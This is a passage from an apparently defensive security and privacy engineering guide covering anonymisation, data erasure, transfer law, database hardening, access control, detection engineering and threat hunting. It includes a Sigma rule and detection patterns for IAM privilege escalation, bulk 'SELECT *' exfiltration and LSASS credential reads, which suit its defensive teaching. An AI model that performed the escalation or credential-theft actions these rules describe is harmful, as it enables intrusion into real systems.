     data was included. Achieved by adding calibrated NOISE.
       epsilon (privacy budget/loss): smaller = more privacy, more noise,
         less accuracy. Budget is CONSUMED across queries (composition) --
         you must track cumulative epsilon spent against a dataset, or
         privacy guarantees erode with repeated querying.
       Laplace mechanism: add Laplace-distributed noise scaled to the
         query's SENSITIVITY (how much one record can change the answer)
         and to 1/epsilon -- for numeric queries (counts, sums, averages).
       Gaussian mechanism: similar, for a slightly different formal
         guarantee (epsilon-delta DP), often used at scale.
       Exponential mechanism: for selecting among CATEGORICAL/discrete
         outputs (e.g. "most common answer") while preserving DP.
       GLOBAL DP: a trusted curator holds the raw data and adds noise only
         to QUERY RESULTS (higher accuracy per query, requires trusting
         the curator with raw data).
       LOCAL DP: each user's device adds noise BEFORE sending data
         anywhere (no one, not even you, ever sees raw values) -- lower
         accuracy, much stronger trust model. Real deployments: Google's
         RAPPOR (Chrome telemetry), Apple's use in iOS/macOS analytics.
     Real large-scale deployment: the US Census Bureau adopted
     differential privacy for the 2020 Census release -- the definitive
     proof this scales to a genuinely high-stakes, adversarially-scrutinised
     use case.

   SYNTHETIC DATA
     train a generative model (statistical, or a GAN/diffusion-style
     model) on the real data, then sample NEW, artificial records that
     preserve the real data's statistical properties without being any
     real person's actual record. Useful for dev/test environments and
     some analytics; still requires care -- a poorly-regularised
     generative model can memorise and leak training examples (a known
     failure mode, mitigate by training WITH differential privacy).

Practical guidance, in order of preference:

   1. DON'T COLLECT what you don't need (data minimisation -- the
      cheapest and most durable privacy control, and the first line of
      every privacy framework).
   2. AGGREGATE at the source where possible (counts/sums, not raw
      events) if the use case allows it.
   3. PSEUDONYMIZE as a baseline for anything reaching analytics --
      reduces blast radius even though it's still personal data.
   4. Apply K-ANONYMITY/L-DIVERSITY/T-CLOSENESS for one-off dataset
      RELEASES (a research dataset, a public report) where you control
      exactly what's published once.
   5. Apply DIFFERENTIAL PRIVACY for ONGOING, QUERYABLE analytics systems
      (a dashboard, an internal query tool, anything where the same
      underlying data will be queried repeatedly) -- it's the only
      approach in this list designed for that composition problem.
   6. Treat SMALL POPULATIONS, RARE COMBINATIONS, and RICH
      BEHAVIOURAL/CONTENT DATA (free text, location traces, search
      history) as high re-identification risk regardless of which
      technique you apply -- suppress or aggregate more aggressively.

How it works

The legal shape (know the deadline and the exceptions):

   GDPR Art. 17 ("right to erasure" / "right to be forgotten") -- "without
     undue delay", generally operationalised as within the same ONE MONTH
     window as a DSAR response (Art. 12(3)), extendable by two further
     months for complex requests with notice to the subject.
   CCPA/CPRA -- a parallel deletion right for California residents, with
     its own service-provider-notification obligations.
   EXEMPTIONS (both regimes, similarly shaped) -- you may RETAIN data
     despite a deletion request where necessary for: compliance with a
     legal obligation (tax/financial records retention laws), establishing/
     exercising/defending legal claims, public-interest archiving/
     scientific/historical research/statistics (with safeguards), or
     freedom-of-expression contexts. Document WHICH exemption applies,
     PER RECORD RETAINED -- "we kept it because reasons" doesn't survive
     a regulator's questions.

Where the data actually is (the hard part is completeness, not any single deletion):

   PRIMARY DATABASE          straightforward: DELETE or a documented
     retention-then-purge job.
   READ REPLICAS             deletes propagate via normal replication --
     verify replication lag doesn't leave a stale readable copy
     indefinitely reachable by some path.
   CACHES (Redis, CDN)       must be explicitly invalidated/evicted; a
     forgotten cache entry can outlive the "deleted" primary record for
     its whole TTL. Short TTLs on anything containing RESTRICTED data
     reduce this window structurally.
   SEARCH INDICES            a delete-by-query against the index alias
     (Part 5 Ch 27's per-tenant indices make this cleanly scoped); watch
     for index snapshots/backups of the search cluster too.
   OBJECT STORAGE             delete the object AND any versioned/
     previous-version copies (S3 versioning keeps old versions unless you
     also delete/expire them) AND any CDN edge cache of it.
   BACKUPS AND SNAPSHOTS      the classic hard case -- backups are often
     IMMUTABLE by design (ransomware resilience, G1 Ch 51) for a
     retention window. Two honest approaches, not mutually exclusive:
       (a) CRYPTO-SHREDDING (Ch 44/Part 2 Ch 9): if the subject's/
           tenant's data was encrypted under a KEY SCOPED TO THEM,
           destroying that key renders every backup copy permanently
           unreadable WITHOUT touching the backup files at all -- the
           cleanest answer, but requires the key boundary to have been
           designed in from the start (per-tenant keys, or per-subject
           field keys for fine-grained erasure).
       (b) DOCUMENTED RETENTION-BOUND EXCEPTION: state plainly (in your
           privacy notice and your RoPA) that backups may retain deleted
           data for up to N days until they age out naturally, and that
           this is a deliberate, bounded, disclosed exception -- regulators
           broadly accept this IF it's short, documented, and the data is
           inaccessible in normal operation during that window.
   DATA WAREHOUSE / BI EXTRACTS   often a SEPARATE deletion job is needed
     because warehouse ETL runs on its own schedule; if you followed
     Ch 45 and only ever loaded de-identified/aggregated data here, there
     may be NOTHING identifiable to delete -- itself a reason to prefer
     that architecture.
   EVENT STREAMS / KAFKA           you generally can't delete one message
     from a topic. Options: short retention windows for topics carrying
     RESTRICTED fields (the data ages out on its own); COMPACTED topics
     with a TOMBSTONE record (a null-value message for that key causes
     the compactor to eventually remove it); or -- the robust answer --
     encrypt RESTRICTED fields in the event payload under a per-subject
     key (Ch 42) so crypto-shredding covers the event history too.
   LOGS / TRACES / APM             retention policy + scheduled purge;
     ideally RESTRICTED data was never logged in the first place (G1
     Ch 50's redaction-at-source) so there's nothing to chase here.
   THIRD-PARTY PROCESSORS / SUB-PROCESSORS   your Data Processing
     Agreements (Ch 47) must contractually obligate them to delete on
     your instruction and confirm completion -- your erasure pipeline
     calls THEIR deletion API (or sends a documented request) as one more
     step, not an afterthought.
   ML TRAINING DATA / TRAINED MODELS   an open, genuinely hard problem
     ("machine unlearning"). Practical mitigations rather than a full
     solution: avoid training directly on raw PII; if you must, tag
     training examples by subject so a future retrain can exclude them;
     periodic full retrains on a rolling dataset naturally age out
     removed subjects over time; document this limitation and timeline
     explicitly rather than claiming instant model-level erasure you
     can't deliver.
   SUPPORT TICKETS / EMAIL / CHAT LOGS / LLM PROMPT HISTORY   often
     forgotten because they live in a different tool entirely (Zendesk,
     Gmail, a support Slack channel, a prompt/context log for an AI
     feature) -- these must be in the data-flow map (Ch 41) and the
     erasure orchestrator's system list, or they will be the gap an
     auditor or a diligent customer finds.

The orchestrated pipeline:

   1. INTAKE      a DSAR/deletion request arrives (a form, an email, a
      support ticket) -> logged with a timestamp (starts the legal clock).
   2. VERIFY IDENTITY   don't delete someone's data because anyone typed
      their email address in a form -- verify via the account's own
      authenticated channel, or a documented identity-verification
      process for non-account requests.
   3. DISCOVER SCOPE   pull EVERY system for this subject from the DATA-
      FLOW MAP (Ch 41) -- this is precisely why that map must be complete
      and current; an erasure pipeline built on an incomplete map will
      confidently miss systems.
   4. CHECK EXEMPTIONS   for each system/record, is there a documented
      legal-retention exception? Flag and retain those, with the reason
      recorded.
   5. EXECUTE, per system: hard-delete, crypto-shred, or trigger the
      third-party's deletion API -- record a COMPLETION event per system
      (a "deletion certificate": system name, timestamp, method, verifier).
   6. VERIFY   spot-check (or, better, automatically re-query) that the
      data is actually gone/inaccessible from each system -- don't just
      trust that the delete call returned 200.
   7. RESPOND to the data subject within the legal window, with what was
      deleted and what was retained-and-why (the exemptions from step 4).
   8. AUDIT TRAIL   the whole pipeline's log (requests, verifications,
      completions) is itself retained (as a RECORD OF HAVING COMPLIED,
      which is a legitimate, narrow retention purpose) separately from the
      deleted data itself.

How it works

The legal landscape (know the shape, not every clause):

   GDPR CHAPTER V restricts transferring personal data OUT of the EU/EEA
   unless one of these applies:

     ADEQUACY DECISION    the European Commission has decided the
       destination country provides "essentially equivalent" protection
       -- transfers proceed like an internal EU transfer. Covers a growing
       but incomplete list (UK, Japan, South Korea, Canada -- commercial
       organisations only, Switzerland, and others); re-evaluated
       periodically, so an adequacy decision can be WITHDRAWN (it has
       happened) -- don't treat it as permanent.

     STANDARD CONTRACTUAL CLAUSES (SCCs)   the EU Commission's pre-
       approved contract clauses, signed between exporter and importer,
       committing the importer to GDPR-equivalent protections. THE most
       common mechanism in practice. Since Schrems II (below), signing
       SCCs alone is NOT enough -- you must also do a TRANSFER IMPACT
       ASSESSMENT (TIA): assess whether the destination country's LAWS
       (especially government surveillance powers) could override the
       contractual protections in practice, and apply SUPPLEMENTARY
       MEASURES (strong encryption where the importer has no access to
       keys, pseudonymization, etc.) if they could.

     BINDING CORPORATE RULES (BCRs)   an approved internal code of conduct
       for transfers WITHIN a corporate group across borders -- heavier to
       set up, useful for large multinationals with frequent intra-group
       transfers.

     EU-US DATA PRIVACY FRAMEWORK (DPF, 2023)   the current mechanism
       specifically for transfers to US organisations that self-certify
       compliance -- successor to Safe Harbor (invalidated by SCHREMS I,
       2015) and Privacy Shield (invalidated by SCHREMS II, 2020), both
       struck down by the CJEU essentially because US surveillance law
       (FISA Section 702, EO 12333) didn't provide EU data subjects
       adequate redress. The DPF has stronger redress mechanisms but IS
       ALREADY under legal challenge (as its predecessors were) -- treat
       any single-mechanism reliance on ANY transfer tool as something to
       actively monitor, not "solved once."
   Both SCHREMS rulings are the essential background reading here: they
   are WHY "we signed a contract" stopped being sufficient and technical
   supplementary measures became a real, audited requirement.

Data localization laws (the mirror image — countries requiring data to STAY):

   CHINA  -- the Cybersecurity Law and PIPL (Personal Information
     Protection Law) require certain data ("important data", and personal
     information above volume thresholds) to be stored IN China, with a
     mandatory SECURITY ASSESSMENT for any cross-border transfer.
   RUSSIA -- requires personal data of Russian citizens to be initially
     recorded/stored on servers located IN Russia.
   INDIA  -- the DPDP Act (2023) empowers the government to restrict
     transfers to specific countries (a blocklist model, evolving).
   Others with meaningful localization requirements: Brazil (LGPD, more
     GDPR-like but with its own transfer rules), Vietnam, Indonesia, and a
     growing list -- this is an increasing, not decreasing, global trend.

The architectural response:

   REGION SELECTION AS A CONTROL: pin EU customer data to EU regions
   (eu-west-1, eu-central-1, europe-west*) and treat "does this service
   replicate data outside the region" as a design-review question for
   EVERY new component, not just the primary database. This includes:
     - backups and DR replicas (do they cross regions? if a DR region is
       outside the EU, that's a transfer needing its own justification)
     - logging/observability platforms (a SaaS APM or log-aggregation
       tool that's US-hosted by default is a transfer path many teams
       don't notice)
     - CDNs (edge caching is usually fine for PUBLIC content; RESTRICTED
       data should not be cached at edges outside your approved regions)
     - support tools, email, CI/CD SaaS -- anything processing customer
       data that isn't your own infrastructure needs the same scrutiny.

   SOVEREIGN CLOUD OFFERINGS (an emerging, increasingly available option):
     AWS European Sovereign Cloud, Microsoft's EU Data Boundary, Google's
     Sovereign Controls -- these provide operational and sometimes legal
     guarantees that data, metadata, AND support/operational access stay
     within a jurisdiction, addressing the Schrems II concern more
     directly than "just pick an EU region" (which doesn't by itself
     guarantee no US-based support engineer or subpoena-reachable parent
     company can ever access the data).

   DATA PROCESSING AGREEMENTS (DPAs) WITH SUB-PROCESSORS: every vendor
     that touches personal data on your behalf needs a DPA specifying the
     transfer mechanism it relies on, and you need a MAINTAINED SUB-
     PROCESSOR LIST with a change-notification process (most privacy
     laws require you to be able to tell your own customers who your
     sub-processors are and where they process data -- which means you
     must actually track this, not just sign the DPA and forget it).

How it works

Dynamic data masking — controlling what's seen, not what's stored:

   Different from encryption: the underlying data is stored normally
   (encrypted at rest per Ch 42 if warranted), but the DATABASE ENGINE
   masks it AT QUERY TIME based on the caller's role -- a support analyst
   role sees `j***.d**@***.com` where an authorized service sees the real
   value, with NO application code changes needed for the masking itself.
   Available natively in SQL Server (Dynamic Data Masking), Snowflake
   (masking policies), and via extensions/proxies for Postgres/MySQL.
   USE FOR: giving broad internal visibility (support, debugging,
   analytics dashboards) without broad DATA EXPOSURE -- a middle ground
   between "full access" and "no access", cheaper to operate than
   building a bespoke masking API for every internal tool.
   NOT A SUBSTITUTE for Ch 42's field-level encryption where the threat
   model includes a privileged/root DB account or the DBA role itself --
   masking is enforced BY the engine, so an account with masking-bypass
   privilege (often granted broadly by default) sees everything.

Database Activity Monitoring (DAM) — catching bulk exfiltration:

   The threat masking and RLS don't catch: a LEGITIMATELY authorized
   account (a compromised support engineer's credentials, an insider)
   running `SELECT * FROM users` with no WHERE clause and exporting the
   result -- every individual row access was "authorized"; the PATTERN is
   the anomaly.
   DAM tools (Imperva, IBM Guardium, or NATIVE options: AWS RDS/Aurora
   Activity Streams, Google Cloud SQL audit logs, PostgreSQL's pgAudit
   extension) watch and can ALERT on:
     - queries returning unusually large result sets for that role/user's
       normal pattern.
     - a `SELECT *` / broad export pattern from an account that normally
       does narrow, parameterised lookups.
     - access outside normal hours / from a new source IP for that
       credential.
     - schema/permission changes outside a change window.
   Pair with QUERY RESULT SIZE CAPS and paginated-by-default APIs at the
   application layer (G1 Ch 45/this guide's Ch 28) as a structural
   backstop, not just a detection rule.

Authentication — IAM-based over static passwords:

   STATIC DB PASSWORDS (even rotated ones, G1 Ch 49) are a standing
   secret that can leak, get committed, or get shared between environments.
   IAM DATABASE AUTHENTICATION (AWS RDS/Aurora IAM auth, GCP Cloud SQL
     IAM auth, Azure AD authentication for SQL) issues SHORT-LIVED AUTH
     TOKENS derived from the calling workload's IAM/cloud identity
     (Part 2 Ch 5, Part 4 Ch 20's workload identity) instead of a
     password -- the same short-lived-credential principle applied to the
     database connection itself. No password to leak, rotate, or store;
     access is governed by the SAME IAM policy graph as everything else
     (Part 2 Ch 6), so revoking a compromised workload's IAM access also
     revokes its DB access immediately.
   Where IAM auth isn't available: DYNAMIC SECRETS from a vault (G1 Ch 49)
     -- a short-lived DB credential minted per session and auto-expired --
     is the next-best option, strictly better than a long-lived static
     password.

Least privilege and account hygiene:

   [ ] a SEPARATE DB account per SERVICE (not one shared "app" account
       for everything) -- so a compromised service's blast radius is
       exactly its own grants, and query-pattern anomalies (DAM, above)
       are attributable to a specific service, not "the app" generically.
   [ ] NO service account is a superuser, the table owner (unless FORCE
       RLS is relied on, Part 5 Ch 27), or has BYPASSRLS.
   [ ] STORED PROCEDURES built with dynamic SQL are just as
       injection-prone as application code (G1 Ch 42) -- parameterise
       inside procedures too; a proc that concatenates a caller-supplied
       string isn't safer for being server-side.
   [ ] REVIEW extensions/plugins: some (Postgres `dblink`, untrusted
       procedural languages) can be privilege-escalation vectors if
       available to non-superuser roles -- audit what's installed and
       who can invoke it.
   [ ] PATCH the engine on a defined cadence; database CVEs are as real
       as application CVEs (G1 Ch 47) and often more severe given the
       blast radius.

The exposed-database problem — still a leading mass-breach cause:

   A recurring, entirely preventable pattern: a MongoDB/Elasticsearch/
   Redis instance bound to 0.0.0.0 and exposed directly to the internet
   with NO AUTHENTICATION -- automated scanners (Shodan-driven) find and
   exfiltrate/ransom these within HOURS of exposure. This traces back to
   defaults: pre-2.6 MongoDB shipped with NO auth enabled by default,
   causing a wave of mass exposures that continues to recur as new
   instances get spun up from old images/tutorials/defaults.
   THE FIX IS BASIC AND NON-NEGOTIABLE: authentication ALWAYS enabled
   (never rely on "it's only reachable internally" as the sole control --
   G1 Ch 39/this guide's Part 2 Ch 8's network layer is defence IN DEPTH,
   not a substitute); bind to private interfaces only; use the engine's
   real access-control layer (Elasticsearch/OpenSearch security
   plugin/X-Pack, Redis AUTH + ACLs since Redis 6, MongoDB's role-based
   access control) -- and CONTINUOUSLY SCAN your own external attack
   surface (an internal Shodan-equivalent check, or your cloud's exposed-
   resource finder) so you find an accidental exposure before an
   attacker's scanner does.

How it works

Just-in-time (JIT) access — the default should be no standing access:

   Instead of a permanent grant ("alice has prod DB read access,
   forever, since she joined the on-call rotation two years ago"), access
   is REQUESTED, approved (often by an automated policy or a peer for
   routine cases, a manager for sensitive ones), granted for a BOUNDED
   TIME (an hour, a shift, the duration of an incident), and AUTO-REVOKED.
   Tools: Teleport (infra/DB/k8s access with session recording built in),
   Sym, ConductorOne, cloud-native options (AWS IAM Identity Center
   permission sets with a session duration, Entra ID Privileged Identity
   Management (PIM) for Azure role activation).
   BENEFIT beyond least-privilege-in-the-moment: it converts "who CAN
   access this" (a large, slowly-reviewed list) into "who DID access this,
   when, and why" (a small, naturally self-documenting log) -- which is
   both easier to review and inherently narrower.

Break-glass access — the deliberate exception, not the norm:

   Some situations need immediate, broader access than any JIT workflow
   can approve fast enough (an active incident, Ch 55). BREAK-GLASS is a
   documented, PRE-APPROVED emergency path: using it is easy in the
   moment (no waiting on an approver) but HEAVILY logged, immediately
   ALERTS a separate party (security/leadership) the moment it's used, and
   REQUIRES a POST-HOC JUSTIFICATION within a defined window. The bar
   for using it should be "clearly warranted", and its usage RATE is
   itself a metric worth watching -- frequent break-glass use usually
   means your normal JIT process is too slow or too narrow, not that
   people are careless.

Data Loss Prevention (DLP) — catching data as it tries to leave:

   Content-inspection controls at the points data typically exfiltrates
   through: email (outbound scanning for PAN-shaped strings, PII
   patterns, or classification-tagged (Ch 41) documents), endpoint
   (USB/upload/clipboard monitoring), cloud storage/CASB (a Cloud Access
   Security Broker inspecting uploads/downloads to sanctioned and,
   critically, UNSANCTIONED "shadow IT" cloud services).
   DLP is IMPERFECT (pattern-matching has false positives/negatives,
   determined exfiltration finds gaps -- encoding, screenshots, verbal
   disclosure) -- treat it as ONE layer catching the CARELESS and the
   OPPORTUNISTIC, not a guarantee against the DETERMINED, which is why
   the other controls in this chapter matter independently.

User and Entity Behavior Analytics (UEBA) — the volume/pattern signal:

   The same idea as Ch 48's Database Activity Monitoring, generalised
   across ALL systems an identity touches (not just the database): baseline
   NORMAL behaviour per user/service (typical access volume, typical
   hours, typical systems touched, typical data categories accessed), and
   alert on statistically significant DEVIATION -- an engineer suddenly
   querying 10x their normal number of customer records, a service
   account authenticating from a new geography, an account accessing
   systems it's never touched before.
   This is the layer that catches BOTH a compromised legitimate account
   (Ch 48's worked example) AND a genuine insider whose intent has
   changed -- neither necessarily violates any single access-control
   rule, which is exactly why pattern-based detection is a separate,
   necessary layer from authorization.

The "engineer queries prod directly" problem, solved structurally:

   A recurring tension: engineers need to debug production issues, which
   often means looking at real data, which is exactly the access this
   whole Part exists to constrain. STRUCTURAL answers, in order of
   preference:
     1. Provide SAFE QUERY TOOLS: a read-replica with dynamic masking
        (Ch 48) as the DEFAULT way to look at "production data" for
        debugging -- most debugging needs don't actually require
        unmasked PII.
     2. For the genuine exceptions: JIT access (above) with a SHORT
        duration, tied to a specific ticket/incident, with SESSION
        RECORDING (Teleport and similar PAM tools do this natively --
        every command/query in the session is logged and, often,
        replayable).
     3. QUERY AUDITING regardless of path: every privileged query against
        a RESTRICTED data store is logged with who/what/when/why (the
        ticket reference), reviewed on a cadence proportional to
        sensitivity.
   The goal isn't "engineers can never see real data" (often impossible
   and sometimes counterproductive) -- it's "every instance of seeing real
   data is time-boxed, attributable, and reviewable", which is a
   fundamentally different, achievable, and auditable posture.

Access recertification — closing the drift loop:

   PERMANENT access, once granted, tends to accumulate and never get
   revisited ("permission creep") -- someone changes teams and keeps their
   old system's access "just in case", a contractor's engagement ends but
   their account doesn't get disabled, a one-time project grant outlives
   the project by years.
   ACCESS RECERTIFICATION is a periodic (quarterly for sensitive systems,
   semi-annual/annual for lower-risk ones) process where the DATA OWNER
   or the person's MANAGER must actively re-affirm "yes, this person
   still needs this access, for this reason" -- access not re-affirmed by
   a deadline is automatically revoked, not left pending indefinitely.
   This is a standard, explicitly evaluated control in SOC 2 and ISO
   27001 audits (Ch 61) precisely because permission creep is one of the
   most common, most preventable sources of unnecessary standing risk in
   real organisations.

Insider-threat considerations and offboarding (technical + organisational):

   An effective insider-risk posture is technical, HR, and legal working
   together -- not a purely engineering problem -- but the ENGINEERING
   pieces are concrete:
     [ ] OFFBOARDING: access revoked THE SAME DAY as termination/departure
         -- across EVERY system (this is exactly what your Ch 41 data-flow
         map and system inventory make tractable rather than "did we
         remember everywhere Bob had access?").
     [ ] A KNOWN PATTERN worth monitoring for (with HR/legal involvement,
         not unilaterally by engineering): unusual data access or bulk
         downloads in the weeks BEFORE a resignation is announced --
         UEBA's behavioural baseline is exactly the mechanism that would
         surface this, treated with appropriate care and process, not as
         a blanket surveillance justification.
     [ ] PRIVILEGED ACCESS MANAGEMENT (PAM) tools (CyberArk, HashiCorp
         Boundary, Teleport) generalise JIT + session recording +
         credential vaulting across infrastructure/admin access broadly
         (this connects forward to Ch 63's enterprise identity chapter --
         PAM is the infra-wide version of the JIT pattern this chapter
         applies to data specifically).

How it works

The Pyramid of Pain (David Bianco) — target detections at what's expensive for the attacker to change:

   TTPs                    (top -- HARDEST to change; forces the attacker
                             to rebuild their whole approach)
   Tools
   Network/Host Artifacts
   Domain Names
   IP Addresses
   Hash Values             (bottom -- TRIVIAL to change; one recompile)

   A detection on a file HASH is defeated by recompiling the malware.
   A detection on the TECHNIQUE ("a process spawned from an office
   document reading LSASS memory", or "IMDSv1 metadata access followed by
   an out-of-region API call") survives tool and infrastructure changes.
   Spend your limited engineering time near the TOP of the pyramid; use
   IOC feeds (bottom) as cheap, disposable, short-lived tripwires, not
   your primary strategy.

The lifecycle (an Alerting and Detection Strategy, per detection):

   1. IDENTIFY       where does this detection idea come from? Threat
      intel (Ch 53), an ATT&CK-technique gap in your coverage heat map
      (Part 1 Ch 2), an attack-path chokepoint (Part 1 Ch 1, Ch 54), or a
      real incident's root cause (the best source -- "this actually
      happened to us").
   2. DESIGN THE HYPOTHESIS   write it as a sentence: "IAM principals
      outside the CI role group calling iam:CreatePolicyVersion followed
      within 5 minutes by iam:SetDefaultPolicyVersion indicates privilege-
      escalation attempt (Part 2 Ch 6)." State the ATT&CK technique, the
      data source needed, the expected false-positive sources, and the
      priority/response if it fires.
   3. DEVELOP the rule. Prefer a PORTABLE format (Sigma, below) over a
      vendor-proprietary query when you can, so it survives a SIEM
      migration and can be shared/reviewed as code.
   4. TEST -- two kinds, both required:
        UNIT TESTS: run the rule against a library of SAMPLE LOG
          fixtures -- both POSITIVE (should fire) and NEGATIVE (common
          legitimate patterns that should NOT fire) cases, in CI, on
          every change to the rule.
        LIVE VALIDATION: actually EXECUTE the technique (Atomic Red Team /
          Stratus Red Team / CALDERA, Part 1 Ch 2) in a lab or sanctioned
          window and confirm the rule fires against REAL telemetry, not
          just a hand-crafted fixture.
   5. DEPLOY through the same review + CI/CD pipeline as any other code
      (Part 3) -- a detection rule is production code with the same
      change-management discipline.
   6. TUNE   run for a burn-in period; track false-positive rate; add
      exclusions for legitimate patterns found in step 4/6 WITHOUT
      widening the rule so much it stops detecting the real technique
      (document every exclusion with a reason and an owner).
   7. MEASURE   track PRECISION (of alerts fired, how many were real),
      a recall PROXY (did it fire during every subsequent purple-team run
      of the technique, Part 1 Ch 2), and MTTD contribution.
   8. MAINTAIN   environments change -- a log schema update, a new cloud
      service, a refactored microservice can silently break a rule (it
      stops matching, or starts matching everything). Re-validate rules
      periodically with live re-emulation, not just "it hasn't alerted
      recently" (which could mean "working" or "silently broken" --
      indistinguishable without re-testing).

Detection-as-code, concretely — Sigma as the portable format:

   title: AWS IAM Privilege Escalation via Policy Version Manipulation
   status: stable
   logsource: { product: aws, service: cloudtrail }
   detection:
     selection1:
       eventName: CreatePolicyVersion
       requestParameters.setAsDefault: true
     selection2:
       eventName: SetDefaultPolicyVersion
     timeframe: 5m
     condition: selection1 and selection2 | count() by userIdentity.arn > 0
   falsepositives:
     - Legitimate policy rollback by an authorized platform-team pipeline
   level: high
   tags: [attack.privilege_escalation, attack.t1078.004]

   `sigma-cli` (or `pySigma` backends) COMPILES this ONE rule into native
   queries for Splunk SPL, Elastic EQL/KQL, Microsoft Sentinel KQL, and
   more -- write once, deploy to whatever SIEM you run today, and migrate
   without rewriting the whole rule library later.

Detection Maturity and where most teams actually are (David Bianco's Hunting Maturity Model, adapted to detection generally):

   HM0  no proactive detection; purely reactive to vendor/EDR alerts.
   HM1  MINIMAL -- incorporates external threat intel as IOC matches.
   HM2  PROCEDURAL -- follows other people's published detection
        procedures (Sigma community rules, vendor content).
   HM3  INNOVATIVE -- creates novel detections for YOUR environment's
        actual attack paths (Ch 54) and threat model.
   HM4  LEADING -- most new detections are AUTOMATED from repeatable
        hunting procedures (Ch 53) with minimal manual rule-writing.
   Most organisations should aim to be solidly HM2-3: use community
   content as a baseline (don't reinvent well-known detections), but
   build HM3-level custom detections for your specific attack-path
   chokepoints (Ch 54) -- that's where generic content has nothing to say.

How it works

Sources, layered (recap and extend earlier Parts):

   ENDPOINT      EDR agents (CrowdStrike, SentinelOne, Microsoft Defender
                 for Endpoint) or open-source (osquery, Wazuh) --
                 process, file, and network events on hosts/workstations.
   CONTAINER/K8S Falco/Tetragon (Part 4 Ch 20) + Kubernetes AUDIT LOGS
                 (the API server's own record of every request -- distinct
                 from and complementary to runtime syscall telemetry).
   NETWORK       VPC/Flow Logs (Part 2 Ch 8), Zeek (rich protocol-level
                 metadata), packet capture at chokepoints for deep
                 investigation (not everywhere -- volume/cost).
   CLOUD CONTROL PLANE   CloudTrail / Cloud Audit Logs / Azure Activity
                 Log (Part 2 Ch 5) -- your PRIMARY timeline source for
                 anything identity/API-driven, including most of Part 2
                 and Part 3's attack classes.
   APPLICATION   structured security events (G1 Ch 50).
   IDENTITY      IdP sign-in logs, MFA challenge results, conditional-
                 access/risk decisions (Ch 63) -- often the FIRST signal
                 of account compromise, before any downstream system sees
                 anything.
   DNS           query logs -- cheap, high-signal for C2 beaconing,
                 tunnelling (G1 Ch 38), and DGA domains.
   EMAIL         phishing/malware detections, DLP hits (Ch 49).
   SAAS          increasingly essential and increasingly neglected: your
                 CI/CD platform's audit log (Part 3 Ch 12), your identity
                 provider's admin actions, your ticketing/wiki/chat
                 platforms' access logs. "SaaS Security Posture
                 Management" (SSPM) tools exist specifically because this
                 category is otherwise invisible.

The pipeline:

   AGENTS/COLLECTORS   Fluent Bit, Vector, the OpenTelemetry Collector --
     lightweight, ship over TLS, buffer through backpressure so a
     downstream outage doesn't silently drop events.
        |
   NORMALISATION   map every source into a COMMON SCHEMA so a detection
     rule written once works across sources and survives a tool swap.
     OCSF (Open Cybersecurity Schema Framework -- an open, vendor-backed
     standard with broad and growing adoption) or ECS (Elastic Common
     Schema) are the two real choices today; pick one and normalise at
     ingest, not per-query.
        |
   ENRICHMENT   add context the raw event doesn't carry: threat-intel
     matches (Ch 53), asset criticality/owner (from Ch 41's inventory),
     geolocation, and identity resolution (map a service-account ARN or a
     SPIFFE ID, Part 5 Ch 23, back to a human-readable owner).
        |
   ROUTING   not every event needs the same treatment. Split by VALUE:
     high-signal, low-volume sources (cloud control plane, identity) ->
     hot storage + real-time detection. High-volume, lower-per-event-
     value sources (raw network flow, verbose debug logs) -> a cheaper
     tier, sampled or filtered, still available for hunting but not
     driving real-time alerting on every event.
        |
   STORAGE, TIERED:
     HOT   the SIEM's own indexed storage -- fast queries, real-time
           correlation, expensive per GB. Weeks to a few months.
     WARM/COLD   a SECURITY DATA LAKE -- object storage (S3/GCS) in an
           open format (Parquet, OCSF-shaped) queried by a separate,
           cheaper engine (Athena, BigQuery, Snowflake) when a hunt or an
           investigation needs history the hot tier no longer holds.
           DECOUPLING the data lake from any single SIEM vendor's
           proprietary ingestion is an increasingly important
           architectural choice -- it avoids being cost-locked into one
           tool's per-GB pricing for data you're mostly not querying in
           real time, and it lets you point MULTIPLE analytics tools (a
           SIEM, a hunting notebook, an ML pipeline) at the same
           authoritative copy.
        |
   DETECTION/ANALYTICS LAYER   the SIEM's correlation engine, a streaming
     processor, or a scheduled query job -- this is where the rules from
     Ch 51 actually run, against whichever tier holds the relevant window.

Retention — driven by both compliance and reality:

   COMPLIANCE FLOORS: PCI-DSS requires at least a year of log retention
   with the most recent 3 months immediately available for analysis;
   other frameworks vary (Ch 61).
   REALITY CHECK: real breach dwell time (attacker-in-environment before
   detection) has AVERAGED WELL BEYOND 90 DAYS in industry reporting for
   years (Mandiant M-Trends, annually) -- a 30-90 day hot-storage window
   alone means many real intrusions are invisible to retrospective hunting
   by the time they're discovered through other means. This is the
   practical argument for the tiered hot/cold architecture above: keep the
   EXPENSIVE hot tier lean and fast, but keep a CHEAP cold tier deep enough
   (a year or more, for high-value sources like cloud control-plane and
   identity logs specifically) to hunt back through a realistic dwell-time
   window when needed.

Cost management (a real, ongoing architectural concern):

   Most SIEM pricing scales with INGESTION VOLUME, which creates a
   perverse incentive to under-log exactly the noisy-but-sometimes-
   critical sources (verbose debug output, full network flow). The
   tiered architecture above is the answer, not "just log less":
     [ ] route high-volume/lower-value sources to the cheap data-lake
         tier by default, with detection rules running there on a
         schedule rather than in real time where near-real-time isn't
         actually needed.
     [ ] reserve expensive hot-tier, real-time indexing for the sources
         that genuinely need sub-minute detection latency (identity,
         cloud control plane, EDR/runtime).
     [ ] periodically audit WHAT'S actually being queried/alerted-on vs
         what's just accumulating cost with no detection or hunting value
         -- not every field of every log needs to be searchable in the
         expensive tier forever.

How it works

The hunting loop (not alert-driven — hypothesis-driven):

   1. FORM A HYPOTHESIS, sourced from:
        - threat intelligence (below): "actors targeting our sector are
          currently using cloud OAuth consent-phishing (G1/this guide
          Part 6 Ch 39) for initial access."
        - an ATT&CK gap in your coverage heat map (Part 1 Ch 2): "we have
          no detection for T1548 (Abuse Elevation Control Mechanism) in
          our Kubernetes environment."
        - a crown-jewel asset: "if someone were trying to reach the
          per-tenant KMS keys (Part 7 Ch 44), what would that look like
          in the telemetry we already have?"
        - a near-miss or a peer organisation's public incident write-up.
   2. INVESTIGATE using the telemetry (Ch 52) -- structured queries against
      the hot and cold tiers, pivoting on identities, assets, and time
      windows, NOT waiting for a pre-built dashboard.
   3. FIND evidence, or don't. Either outcome is useful: evidence starts
      an incident (Ch 55); NO evidence, if the hunt was thorough,
      increases confidence the gap is currently unexploited (document
      this -- a hunt that finds nothing is not a wasted hunt).
   4. DOCUMENT AND AUTOMATE: if the hunt found a repeatable pattern worth
      catching automatically going forward, it becomes a NEW DETECTION
      (Ch 51's lifecycle) -- this is how hunting FEEDS detection
      engineering rather than being a separate, disconnected activity.
   5. REFINE the hypothesis and repeat.

